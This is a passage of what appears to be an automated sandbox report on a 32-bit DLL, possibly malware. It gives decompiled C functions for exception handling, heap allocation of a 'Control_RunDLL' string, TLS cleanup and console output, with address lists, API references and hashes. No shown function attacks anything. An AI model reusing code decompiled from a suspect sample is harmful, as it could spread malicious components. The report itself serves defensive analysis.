											E6E56FD81( &_v64);
											E6E56E95C( &_v64, 0x6e5ab17c);
											L63:
											 *(E6E56F3B1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E6E56F3B1(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E6E56ED1D(_t279, _t319, _t274);
											E6E570005(_a8, _a16, _t305);
											_t235 = E6E5701C2(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E6E56FF7C(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

0x6e56f6f6
0x6e56f6fd
0x6e56f6ff
0x6e56f708
0x6e56f70e
0x6e56f716
0x6e56f718
0x6e56f71b
0x6e56f721
0x6e56fa9a
0x6e56fa9a
0x6e56fa9f
0x6e56faa1
0x6e56faa3
0x6e56faa6
0x6e56faa7
0x6e56faaa
0x6e56fab0
0x6e56fbcf
0x6e56fab6
0x6e56fab6
0x6e56fab7
0x6e56fab8
0x6e56fabf
0x6e56fac2
0x6e56fac5
0x6e56facb
0x6e56facd
0x6e56fad2
0x6e56fad5
0x6e56fad7
0x6e56fadd
0x6e56fadf
0x6e56fae5
0x6e56fafa
0x6e56faff
0x6e56fb02
0x6e56fb04
0x6e56fbcb
0x00000000
0x6e56fbcc
0x6e56fb04
0x6e56fae5
0x6e56fadd
0x6e56fad5
0x6e56fb0a
0x6e56fb0d
0x6e56fb10
0x6e56fb13
0x6e56fb16
0x6e56fb1c
0x6e56fb2e
0x6e56fb33
0x6e56fb36
0x6e56fb39
0x6e56fb3c
0x6e56fb3f
0x6e56fb42
0x6e56fb45
0x00000000
0x00000000
0x6e56fb4b
0x6e56fb4b
0x6e56fb4e
0x6e56fb51
0x6e56fb60
0x6e56fb61
0x6e56fb61
0x6e56fb63
0x6e56fb66
0x00000000
0x00000000
0x6e56fb68
0x6e56fb6b
0x00000000
0x00000000
0x6e56fb79
0x6e56fb7b
0x6e56fb7e
0x6e56fb80
0x6e56fb88
0x6e56fb88
0x6e56fb8b
0x6e56fb8d
0x6e56fb8f
0x6e56fbab
0x6e56fbb0
0x6e56fbb3
0x6e56fbb3
0x00000000
0x6e56fb8b
0x6e56fb82
0x6e56fb86
0x00000000
0x00000000
0x00000000
0x6e56fbb6
0x6e56fbb9
0x6e56fbba
0x6e56fbbd
0x6e56fbc0
0x6e56fbc3
0x6e56fbc6
0x6e56fbc6
0x00000000
0x6e56fb51
0x6e56fbd0
0x6e56fbd5
0x6e56fbd6
0x6e56fbd9
0x6e56fbdc
0x6e56fbdd
0x6e56fbde
0x6e56fbdf
0x6e56fbe2
0x6e56fbe4
0x6e56fc5c
0x6e56fc5e
0x6e56fc5e
0x6e56fbe6
0x6e56fbe6
0x6e56fbe9
0x6e56fbec
0x00000000
0x6e56fbee
0x6e56fbee
0x6e56fbf1
0x6e56fbf4
0x6e56fbfb
0x6e56fbfb
0x6e56fbfe
0x6e56fc00
0x6e56fc02
0x6e56fc34
0x6e56fc34
0x6e56fc37
0x6e56fc3e
0x6e56fc3e
0x6e56fc41
0x6e56fc44
0x6e56fc4b
0x6e56fc4b
0x6e56fc4e
0x6e56fc55
0x6e56fc57
0x6e56fc57
0x6e56fc50
0x6e56fc50
0x6e56fc53
0x00000000
0x00000000
0x6e56fc53
0x6e56fc46
0x6e56fc46
0x6e56fc49
0x00000000
0x00000000
0x6e56fc49
0x6e56fc39
0x6e56fc39
0x6e56fc3c
0x00000000
0x00000000
0x6e56fc3c
0x6e56fc58
0x6e56fc04
0x6e56fc04
0x6e56fc04
0x6e56fc07
0x6e56fc07
0x6e56fc09
0x6e56fc0b
0x00000000
0x00000000
0x6e56fc0d
0x6e56fc0f
0x6e56fc23
0x6e56fc23
0x6e56fc11
0x6e56fc11
0x6e56fc14
0x6e56fc17
0x00000000
0x6e56fc19
0x6e56fc19
0x6e56fc1c
0x6e56fc1f
0x6e56fc21
0x00000000
0x00000000
0x00000000
0x00000000
0x6e56fc21
0x6e56fc17
0x6e56fc2c
0x6e56fc2c
0x6e56fc2e
0x00000000
0x6e56fc30
0x6e56fc30
0x6e56fc30
0x00000000
0x6e56fc2e
0x6e56fc27
0x6e56fc29
0x6e56fc29
0x00000000
0x6e56fc29
0x6e56fbf6
0x6e56fbf6
0x6e56fbf9
0x00000000
0x00000000
0x00000000
0x00000000
0x6e56fbf9
0x6e56fbf4
0x6e56fbec
0x6e56fc5f
0x6e56fc63
0x6e56fc63
0x6e56f730
0x6e56f730
0x6e56f739
0x6e56f836
0x6e56f836
0x6e56f839
0x00000000
0x6e56f768
0x6e56f768
0x6e56f76d
0x00000000
0x6e56f773
0x6e56f773
0x6e56f77b
0x6e56fa34
0x6e56fa38
0x6e56f781
0x6e56f786
0x6e56f789
0x6e56f78e
0x6e56f795
0x6e56f79a
0x00000000
0x6e56f7d2
0x6e56f7da
0x6e56f83e
0x6e56f83e
0x6e56f841
0x6e56f844
0x6e56f846
0x6e56f849
0x6e56f84c
0x6e56f852
0x6e56fa03
0x6e56fa03
0x6e56fa06
0x00000000
0x6e56fa08
0x6e56fa08
0x6e56fa0b
0x00000000
0x6e56fa11
0x6e56fa11
0x6e56fa14
0x6e56fa17
0x6e56fa18
0x6e56fa19
0x6e56fa1c
0x6e56fa1d
0x6e56fa20
0x6e56fa21
0x6e56fa26
0x00000000
0x6e56fa26
0x6e56fa0b
0x6e56f858
0x6e56f858
0x6e56f85c
0x00000000
0x6e56f862
0x6e56f862
0x6e56f869
0x6e56f881
0x6e56f881
0x6e56f884
0x6e56f887
0x6e56f88d
0x6e56f89d
0x6e56f8a2
0x6e56f8a5
0x6e56f8a8
0x6e56f8ab
0x6e56f8ae
0x6e56f8b1
0x6e56f8b4
0x6e56f8ba
0x6e56f8ba
0x6e56f8bd
0x6e56f8c0
0x6e56f8cf
0x6e56f8d0
0x6e56f8d0
0x6e56f8d2
0x6e56f8d5
0x6e56f8db
0x6e56f8de
0x6e56f8e4
0x6e56f8e6
0x6e56f8e9
0x6e56f8ec
0x6e56f8f5
0x6e56f8f8
0x6e56f8fa
0x6e56f8fa
0x6e56f8fd
0x6e56f900
0x6e56f903
0x6e56f906
0x6e56f909
0x6e56f90e
0x6e56f90f
0x6e56f910
0x6e56f911
0x6e56f912
0x6e56f915
0x6e56f917
0x6e56f919
0x00000000
0x6e56f91b
0x6e56f91b
0x6e56f91b
0x6e56f91e
0x6e56f921
0x6e56f923
0x6e56f924
0x6e56f929
0x6e56f92c
0x6e56f92e
0x00000000
0x00000000
0x6e56f930
0x6e56f931
0x6e56f934
0x6e56f936
0x00000000
0x6e56f938
0x6e56f938
0x6e56f93b
0x6e56f93e
0x00000000
0x6e56f93e
0x00000000
0x6e56f936
0x6e56f952
0x6e56f958
0x6e56f975
0x6e56f97a
0x6e56f97a
0x6e56f97d
0x6e56f97d
0x00000000
0x6e56f941
0x6e56f941
0x6e56f942
0x6e56f945
0x6e56f948
0x6e56f94b
0x6e56f94b
0x00000000
0x6e56f950
0x6e56f8ec
0x6e56f8de
0x6e56f980
0x6e56f983
0x6e56f984
0x6e56f987
0x6e56f98a
0x6e56f98d
0x6e56f990
0x6e56f990
0x6e56f999
0x6e56f99c
0x6e56f99c
0x6e56f8b4
0x6e56f99f
0x6e56f9a3
0x6e56f9a5
0x6e56f9a8
0x6e56f9ae
0x6e56f9ae
0x6e56f9b6
0x6e56f9bb
0x6e56fa29
0x6e56fa29
0x6e56fa2e
0x6e56fa32
0x00000000
0x00000000
0x00000000
0x00000000
0x6e56f9bd
0x6e56f9bd
0x6e56f9c1
0x6e56f9d3
0x6e56f9d6
0x6e56f9d9
0x6e56f9db
0x6e56f9f2
0x6e56f9f6
0x6e56f9fc
0x6e56f9fd
0x6e56f9ff
0x00000000
0x6e56fa01
0x00000000
0x6e56fa01
0x6e56f9dd
0x6e56f9e2
0x6e56f9e5
0x6e56f9ea
0x6e56f9ed
0x00000000
0x6e56f9ed
0x6e56f9c3
0x6e56f9c6
0x6e56f9c9
0x6e56f9cb
0x00000000
0x6e56f9cd
0x6e56f9cd
0x6e56f9d1
0x00000000
0x00000000
0x00000000
0x00000000
0x6e56f9d1
0x6e56f9cb
0x6e56f9c1
0x6e56f86b
0x6e56f86b
0x6e56f872
0x00000000
0x6e56f874
0x6e56f874
0x6e56f87b
0x00000000
0x00000000
0x00000000
0x00000000
0x6e56f87b
0x6e56f872
0x6e56f869
0x6e56f85c
0x6e56f7dc
0x6e56f7e4
0x6e56f7e7
0x6e56f7ec
0x6e56f7f0
0x6e56f7f3
0x6e56f7f9
0x6e56f7fc
0x00000000
0x6e56f7fe
0x6e56f7fe
0x6e56f801
0x6e56f803
0x6e56fa39
0x6e56fa39
0x00000000
0x6e56f809
0x6e56f811
0x6e56f81c
0x00000000
0x00000000
0x6e56f825
0x6e56f828
0x6e56f829
0x6e56f82c
0x6e56f82e
0x00000000
0x6e56f834
0x00000000
0x6e56f834
0x00000000
0x6e56f82e
0x6e56f809
0x6e56fa3e
0x6e56fa3e
0x6e56fa40
0x6e56fa41
0x6e56fa48
0x6e56fa4b
0x6e56fa59
0x6e56fa5e
0x6e56fa63
0x6e56fa66
0x6e56fa6b
0x6e56fa6e
0x6e56fa71
0x6e56fa73
0x6e56fa75
0x6e56fa75
0x6e56fa7a
0x6e56fa86
0x6e56fa8c
0x6e56fa91
0x6e56fa94
0x6e56fa95
0x00000000
0x6e56fa95
0x6e56f7fc
0x6e56f7da
0x6e56f79a
0x6e56f77b
0x6e56f76d
0x6e56f739

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6E56F7F3
type_info::operator==.LIBVCRUNTIME ref: 6E56F815
___TypeMatch.LIBVCRUNTIME ref: 6E56F924
IsInExceptionSpec.LIBVCRUNTIME ref: 6E56F9F6
_UnwindNestedFrames.LIBCMT ref: 6E56FA7A
CallUnexpected.LIBVCRUNTIME ref: 6E56FA95

Strings

csm, xrefs: 6E56F7A0
tVZn, xrefs: 6E56F80C
csm, xrefs: 6E56F733
csm, xrefs: 6E56F84C

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm$tVZn
API String ID: 2123188842-4182995660
Opcode ID: 1022ef1b79d1f31836168c2e4e7c6e33086c2a425ba79f9012ea64873ce3185d
Instruction ID: 5b189f7302d90986aeb875e19a98a66da76565d3a947a9a9630292413ba87c6b
Opcode Fuzzy Hash: 1022ef1b79d1f31836168c2e4e7c6e33086c2a425ba79f9012ea64873ce3185d
Instruction Fuzzy Hash: 38B16A72D0020AEFCF55CFE4D8909AEBBF9BF48314F24455AE9106B225D731DA52CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E5510A0, Relevance: 13.6, APIs: 6, Strings: 3, Instructions: 141
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E6E5510A0(long __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, char _a8, char _a16) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				long _v44;
				long _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				long _v64;
				void* __ebp;
				void* _t45;
				void* _t46;
				void* _t50;
				void* _t51;
				intOrPtr _t54;
				long _t62;
				void* _t71;
				void* _t81;
				void* _t84;
				intOrPtr _t85;

				_t78 = __esi;
				_t76 = __edi;
				_t59 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t85 = _t84 - 0x30;
				_v32 = _t85;
				_v20 = 0xffffffff;
				_v24 = E6E563950;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t45 =  *0x6e5ae128; // 0xe70000
				if(_t45 != 0) {
					L3:
					_t46 = HeapAlloc(_t45, 0, 0xf);
					if(_t46 == 0) {
						goto L18;
					} else {
						asm("movsd xmm0, [0x6e59da37]");
						asm("movsd xmm1, [0x6e59da30]");
						_v40 = _t46;
						asm("movsd [eax+0x7], xmm0");
						asm("movsd [eax], xmm1");
						_t50 =  *0x6e5ae128; // 0xe70000
						if(_t50 != 0) {
							L7:
							_t51 = HeapAlloc(_t50, 0, 0x10);
							if(_t51 == 0) {
								goto L19;
							} else {
								asm("movsd xmm0, [0x6e59da47]");
								asm("movsd xmm1, [0x6e59da3f]");
								_t71 = 0;
								_t59 = 0x10;
								_v52 = _t51;
								_v48 = 0x10;
								asm("movsd [eax+0x8], xmm0");
								asm("movsd [eax], xmm1");
								while(1) {
									_v44 = _t59;
									if(_t71 > 0xf) {
										break;
									}
									_t17 = _t71 + 1; // 0x1
									_t76 = _t71 + _t17;
									_t78 = _t59 - _t76;
									if(_t78 < 0) {
										_v20 = 0;
										E6E579300(_t59, _t76, _t59, _t76, _t78, __eflags);
										asm("ud2");
										goto L18;
									} else {
										if(_t59 == _v48) {
											_v36 = _t71;
											_v56 = _t78;
											_v60 = _t76;
											_v20 = 0;
											_v64 = _t59;
											E6E579280( &_v52, _t59);
											_t51 = _v52;
											_t59 = _v64;
											_t71 = _v36;
											_t76 = _v60;
											_t78 = _v56;
										}
										_t10 = _t76 + 1; // 0x1
										_v36 = _t71 + 1;
										_t81 = _t51;
										E6E56D4D0(_t51 + _t10, _t51 + _t76, _t78);
										_t71 = _v36;
										_t51 = _t81;
										_t85 = _t85 + 0xc;
										 *((char*)(_t81 + _t76)) = 0;
										_t59 = _t59 + 1;
										continue;
									}
									goto L21;
								}
								_v20 = 0;
								_t31 =  &_a16; // 0x6e563950
								_v36 = _t51;
								E6E56BE30(_v40, _a4, _a8, _t51,  *_t31);
								__eflags = _v48;
								if(_v48 != 0) {
									HeapFree( *0x6e5ae128, 0, _v36);
								}
								HeapFree( *0x6e5ae128, 0, _v40);
								_t54 = _v28;
								 *[fs:0x0] = _t54;
								return _t54;
							}
						} else {
							_t50 = GetProcessHeap();
							if(_t50 == 0) {
								L19:
								_t62 = 0x10;
								goto L20;
							} else {
								 *0x6e5ae128 = _t50;
								goto L7;
							}
						}
					}
				} else {
					_t45 = GetProcessHeap();
					if(_t45 == 0) {
						L18:
						_t62 = 0xf;
						L20:
						E6E5792F0(_t59, _t62, 1, _t76, _t78, __eflags);
						asm("ud2");
						__eflags =  &_a8;
						E6E551000(_v52, _v48);
						return E6E551000(_v40, 0xf);
					} else {
						 *0x6e5ae128 = _t45;
						goto L3;
					}
				}
				L21:
			}

0x6e5510a0
0x6e5510a0
0x6e5510a0
0x6e5510a3
0x6e5510a4
0x6e5510a5
0x6e5510a6
0x6e5510a9
0x6e5510ac
0x6e5510b3
0x6e5510c4
0x6e5510c7
0x6e5510cd
0x6e5510d4
0x6e5510e8
0x6e5510ed
0x6e5510f4
0x00000000
0x6e5510fa
0x6e5510fa
0x6e551102
0x6e55110a
0x6e55110d
0x6e551112
0x6e551116
0x6e55111d
0x6e551131
0x6e551136
0x6e55113d
0x00000000
0x6e551143
0x6e551143
0x6e55114b
0x6e551153
0x6e551155
0x6e55115a
0x6e55115d
0x6e551164
0x6e551169
0x6e551192
0x6e551195
0x6e551198
0x00000000
0x00000000
0x6e55119a
0x6e55119a
0x6e5511a0
0x6e5511a2
0x6e551235
0x6e55123c
0x6e551241
0x00000000
0x6e5511a8
0x6e5511ab
0x6e5511ad
0x6e5511b5
0x6e5511b8
0x6e5511bb
0x6e5511c2
0x6e5511c5
0x6e5511ca
0x6e5511cd
0x6e5511d0
0x6e5511d3
0x6e5511d6
0x6e5511d6
0x6e551171
0x6e551175
0x6e55117e
0x6e551180
0x6e551185
0x6e551188
0x6e55118a
0x6e55118d
0x6e551191
0x00000000
0x6e551191
0x00000000
0x6e5511a2
0x6e5511db
0x6e5511e2
0x6e5511e5
0x6e5511f2
0x6e5511fa
0x6e5511fe
0x6e55120b
0x6e55120b
0x6e55121b
0x6e551220
0x6e551223
0x6e551230
0x6e551230
0x6e55111f
0x6e55111f
0x6e551126
0x6e55124a
0x6e55124a
0x00000000
0x6e55112c
0x6e55112c
0x00000000
0x6e55112c
0x6e551126
0x6e55111d
0x6e5510d6
0x6e5510d6
0x6e5510dd
0x6e551243
0x6e551243
0x6e55124f
0x6e551254
0x6e551259
0x6e551264
0x6e55126d
0x6e551283
0x6e5510e3
0x6e5510e3
0x00000000
0x6e5510e3
0x6e5510dd
0x00000000

APIs

GetProcessHeap.KERNEL32 ref: 6E5510D6
HeapAlloc.KERNEL32(00E70000,00000000,0000000F), ref: 6E5510ED
GetProcessHeap.KERNEL32(00E70000,00000000,0000000F), ref: 6E55111F
HeapAlloc.KERNEL32(00E70000,00000000,00000010,00E70000,00000000,0000000F), ref: 6E551136
HeapFree.KERNEL32(00000000,?,00000000,00000010,00E70000,00000000,0000000F), ref: 6E55120B
HeapFree.KERNEL32(00000000,?,00000000,00000010,00E70000,00000000,0000000F), ref: 6E55121B

Strings

Control_RunDLL, xrefs: 6E551102
P9Vn, xrefs: 6E5511E2
Control_RunDLL, xrefs: 6E55114B

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: Heap$AllocFreeProcess
String ID: Control_RunDLL$Control_RunDLL$P9Vn
API String ID: 2113670309-530248519
Opcode ID: 2afb34a70b9c9a126b24240598d18ed51904fa0ca0523a57b5bc961f0e701e14
Instruction ID: def2221093ee9705fee0445943a5f83ce8d7573b3008746c23b7c17828328e1f
Opcode Fuzzy Hash: 2afb34a70b9c9a126b24240598d18ed51904fa0ca0523a57b5bc961f0e701e14
Instruction Fuzzy Hash: 4D518B75D00A199BDF00CFE9CD80BEEBBF5FB89304F114526E9056B350DB70A8548BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C340, Relevance: 12.6, APIs: 10, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6E55C340() {
				intOrPtr _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t28;
				void* _t29;
				void* _t30;
				void* _t31;
				signed char _t42;
				signed char _t43;
				signed char _t44;
				signed char _t45;
				intOrPtr* _t52;
				intOrPtr* _t53;
				intOrPtr* _t54;
				intOrPtr* _t55;
				intOrPtr* _t56;
				void* _t57;

				_t25 =  *((intOrPtr*)(_t57 + 0x18));
				if(_t25 == 3 || _t25 == 0) {
					_t52 =  *0x6e5ae12c; // 0x0
					if(_t52 == 0) {
						goto L26;
					}
					_t42 = 0;
					do {
						_t27 = TlsGetValue( *(_t52 + 4));
						if(_t27 != 0) {
							TlsSetValue( *(_t52 + 4), 0);
							 *_t52(_t27);
							_t57 = _t57 + 4;
							_t42 = 1;
						}
						_t52 =  *((intOrPtr*)(_t52 + 8));
					} while (_t52 != 0);
					if((_t42 & 0x00000001) == 0) {
						goto L26;
					}
					_t53 =  *0x6e5ae12c; // 0x0
					if(_t53 == 0) {
						goto L26;
					}
					_t43 = 0;
					do {
						_t28 = TlsGetValue( *(_t53 + 4));
						if(_t28 != 0) {
							TlsSetValue( *(_t53 + 4), 0);
							 *_t53(_t28);
							_t57 = _t57 + 4;
							_t43 = 1;
						}
						_t53 =  *((intOrPtr*)(_t53 + 8));
					} while (_t53 != 0);
					if((_t43 & 0x00000001) == 0) {
						goto L26;
					}
					_t54 =  *0x6e5ae12c; // 0x0
					if(_t54 == 0) {
						goto L26;
					}
					_t44 = 0;
					do {
						_t29 = TlsGetValue( *(_t54 + 4));
						if(_t29 != 0) {
							TlsSetValue( *(_t54 + 4), 0);
							 *_t54(_t29);
							_t57 = _t57 + 4;
							_t44 = 1;
						}
						_t54 =  *((intOrPtr*)(_t54 + 8));
					} while (_t54 != 0);
					if((_t44 & 0x00000001) == 0) {
						goto L26;
					}
					_t55 =  *0x6e5ae12c; // 0x0
					if(_t55 == 0) {
						goto L26;
					}
					_t45 = 0;
					do {
						_t30 = TlsGetValue( *(_t55 + 4));
						if(_t30 != 0) {
							TlsSetValue( *(_t55 + 4), 0);
							 *_t55(_t30);
							_t57 = _t57 + 4;
							_t45 = 1;
						}
						_t55 =  *((intOrPtr*)(_t55 + 8));
					} while (_t55 != 0);
					if((_t45 & 0x00000001) != 0) {
						_t56 =  *0x6e5ae12c; // 0x0
						while(_t56 != 0) {
							_t31 = TlsGetValue( *(_t56 + 4));
							if(_t31 != 0) {
								TlsSetValue( *(_t56 + 4), 0);
								 *_t56(_t31);
								_t57 = _t57 + 4;
							}
							_t56 =  *((intOrPtr*)(_t56 + 8));
						}
					}
					goto L26;
				} else {
					L26:
					_t26 =  *0x6e5aa300; // 0x70
					return _t26;
				}
			}

0x6e55c344
0x6e55c34b
0x6e55c355
0x6e55c35d
0x00000000
0x00000000
0x6e55c369
0x6e55c377
0x6e55c37a
0x6e55c37e
0x6e55c387
0x6e55c38e
0x6e55c391
0x6e55c394
0x6e55c394
0x6e55c370
0x6e55c373
0x6e55c39b
0x00000000
0x00000000
0x6e55c3a1
0x6e55c3a9
0x00000000
0x00000000
0x6e55c3af
0x6e55c3c7
0x6e55c3ca
0x6e55c3ce
0x6e55c3d7
0x6e55c3de
0x6e55c3e1
0x6e55c3e4
0x6e55c3e4
0x6e55c3c0
0x6e55c3c3
0x6e55c3eb
0x00000000
0x00000000
0x6e55c3f1
0x6e55c3f9
0x00000000
0x00000000
0x6e55c3fb
0x6e55c407
0x6e55c40a
0x6e55c40e
0x6e55c417
0x6e55c41e
0x6e55c421
0x6e55c424
0x6e55c424
0x6e55c400
0x6e55c403
0x6e55c42b
0x00000000
0x00000000
0x6e55c42d
0x6e55c435
0x00000000
0x00000000
0x6e55c437
0x6e55c447
0x6e55c44a
0x6e55c44e
0x6e55c457
0x6e55c45e
0x6e55c461
0x6e55c464
0x6e55c464
0x6e55c440
0x6e55c443
0x6e55c46b
0x6e55c479
0x6e55c484
0x6e55c48b
0x6e55c48f
0x6e55c498
0x6e55c49f
0x6e55c4a2
0x6e55c4a2
0x6e55c481
0x6e55c481
0x6e55c484
0x00000000
0x6e55c46d
0x6e55c46d
0x6e55c46d
0x6e55c476
0x6e55c476

APIs

TlsGetValue.KERNEL32(?), ref: 6E55C37A
TlsSetValue.KERNEL32(?,00000000), ref: 6E55C387
TlsGetValue.KERNEL32(?), ref: 6E55C3CA
TlsSetValue.KERNEL32(?,00000000), ref: 6E55C3D7
TlsGetValue.KERNEL32(?), ref: 6E55C40A
TlsSetValue.KERNEL32(?,00000000), ref: 6E55C417
TlsGetValue.KERNEL32(?), ref: 6E55C44A
TlsSetValue.KERNEL32(?,00000000), ref: 6E55C457
TlsGetValue.KERNEL32(?), ref: 6E55C48B
TlsSetValue.KERNEL32(?,00000000), ref: 6E55C498

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 4023ed709b715fb619704c9253375d428d428b617f8c4fb179e11286a8758940
Instruction ID: 16b7cff65a3075446fa5563636985a80df112419d3c86c6eb0eb1343c40e4dff
Opcode Fuzzy Hash: 4023ed709b715fb619704c9253375d428d428b617f8c4fb179e11286a8758940
Instruction Fuzzy Hash: 10417C3114425DEFDB50AEE49C11FBE37A4AF12B42F058026EE244E312EB61DA71DB92

Uniqueness

Uniqueness Score: -1.00%

Function 6E561BF0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 212
fileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E6E561BF0(void* __ebx, struct _OVERLAPPED** __ecx, void* __edx, void* __edi, void* __ebp, signed char _a4, signed char* _a8) {
				char _v20;
				void* _v24;
				char _v44;
				long _v48;
				void* _v52;
				signed int _v56;
				char _v60;
				void* __esi;
				long _t57;
				void* _t58;
				long _t60;
				signed int _t61;
				long _t81;
				signed int _t86;
				signed int _t87;
				signed int _t88;
				signed int _t91;
				char _t93;
				void* _t96;
				void* _t97;
				signed int _t100;
				signed int _t101;
				struct _OVERLAPPED* _t102;
				signed int _t105;
				signed int* _t106;
				signed int _t110;
				signed char _t112;
				void* _t114;
				long _t118;
				void** _t119;
				void* _t120;
				long _t122;
				void* _t125;
				void* _t133;
				struct _OVERLAPPED** _t135;
				void* _t144;
				long _t152;
				signed char* _t155;
				DWORD* _t156;
				void* _t157;
				void** _t158;
				void** _t160;

				_push(__ebp);
				_push(__ebx);
				_push(__edi);
				_t158 = _t157 - 0x30;
				_t152 = _a4;
				_t135 = __ecx;
				if(_t152 == 0) {
					 *(__ecx + 4) = 0;
					goto L5;
				} else {
					_t96 = __edx;
					_t58 = GetStdHandle(0xfffffff4);
					if(_t58 == 0) {
						_t57 = 6;
						goto L7;
					} else {
						_t133 = _t58;
						if(_t58 != 0xffffffff) {
							_v48 = 0;
							_t60 = GetConsoleMode(_t133,  &_v48);
							__eflags = _t60;
							if(_t60 == 0) {
								__eflags = _t133;
								if(__eflags == 0) {
									goto L42;
								} else {
									_v48 = 0;
									_t81 = WriteFile(_t133, _t96, _t152,  &_v48, 0);
									__eflags = _t81;
									if(_t81 == 0) {
										_t57 = GetLastError();
										_t102 = 0;
										__eflags = 0;
										_t122 = 1;
									} else {
										_t102 = _v48;
										_t57 = 0;
										_t122 = 0;
									}
									 *_t135 = _t122;
									_t135[1] = _t102;
									_t135[2] = _t57;
									goto L9;
								}
							} else {
								_t57 = _a8[4] & 0x000000ff;
								__eflags = _t57;
								if(_t57 == 0) {
									__eflags = _t152 - 0x1000;
									_t84 =  <  ? _t152 : 0x1000;
									_push( <  ? _t152 : 0x1000);
									E6E553650( &_v60, _t96);
									_t158 =  &(_t158[1]);
									__eflags = _v60 - 1;
									if(_v60 != 1) {
										_t86 = _v56;
										_t97 = _v52;
										goto L28;
									} else {
										__eflags = _v56;
										if(_v56 == 0) {
											_t87 =  *_t96 & 0x000000ff;
											_t38 = _t87 + 0x6e59f570; // 0x1010101
											_t105 =  *_t38 & 0x000000ff;
											__eflags = _t105 - 2;
											if(_t105 < 2) {
												L39:
												_t135[2] = 0x6e5a08cc;
												_t135[1] = 0x1502;
												goto L40;
											} else {
												__eflags = _t105 - _t152;
												if(_t105 <= _t152) {
													goto L39;
												} else {
													_t106 = _a8;
													 *_t106 = _t87;
													_t106[1] = 1;
													goto L38;
												}
											}
											goto L9;
										} else {
											_t88 = _v56;
											__eflags = _t88 - _t152;
											if(__eflags > 0) {
												_t100 = _t88;
												_t118 = _t152;
												_push(0x6e5a0904);
												goto L45;
											} else {
												_t125 = _t96;
												_push(_t88);
												E6E553650( &_v48, _t125);
												_t158 =  &(_t158[1]);
												_t86 = L6E562730(_t96,  &_v48, _t133, _t135);
												_t97 = _t125;
												L28:
												_push(_t97);
												_push(_t86);
												_t57 = L6E562470(_t97, _t135, _t133, _t133, _t135);
												_t158 =  &(_t158[2]);
												goto L9;
											}
										}
									}
								} else {
									__eflags = _t57 - 4;
									if(_t57 >= 4) {
										E6E5799A0("Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx", 0x3a, 0x6e5a086c);
										_t158 =  &(_t158[1]);
										asm("ud2");
										L42:
										_t61 = E6E5794E0(_t96,  &M6E59FBBA, 0x23, _t133, _t135, __eflags, 0x6e59fc64);
										_t158 =  &(_t158[1]);
										asm("ud2");
										goto L43;
									} else {
										_t110 =  *_t96;
										_t155 = _a8;
										__eflags = (_t110 & 0x000000c0) - 0x80;
										if((_t110 & 0x000000c0) != 0x80) {
											_a4 = 0;
											goto L24;
										} else {
											_t155[_t57] = _t110;
											_t112 = _a4 + 1;
											_a4 = _t112;
											_t57 =  *_t155 & 0x000000ff;
											_t96 =  *(_t57 + 0x6e59f570) & 0x000000ff;
											__eflags = _t96 - _t112;
											_v24 = _t96;
											if(_t96 <= _t112) {
												_t61 = _t112 & 0x000000ff;
												__eflags = _t112 - 5;
												if(__eflags >= 0) {
													L43:
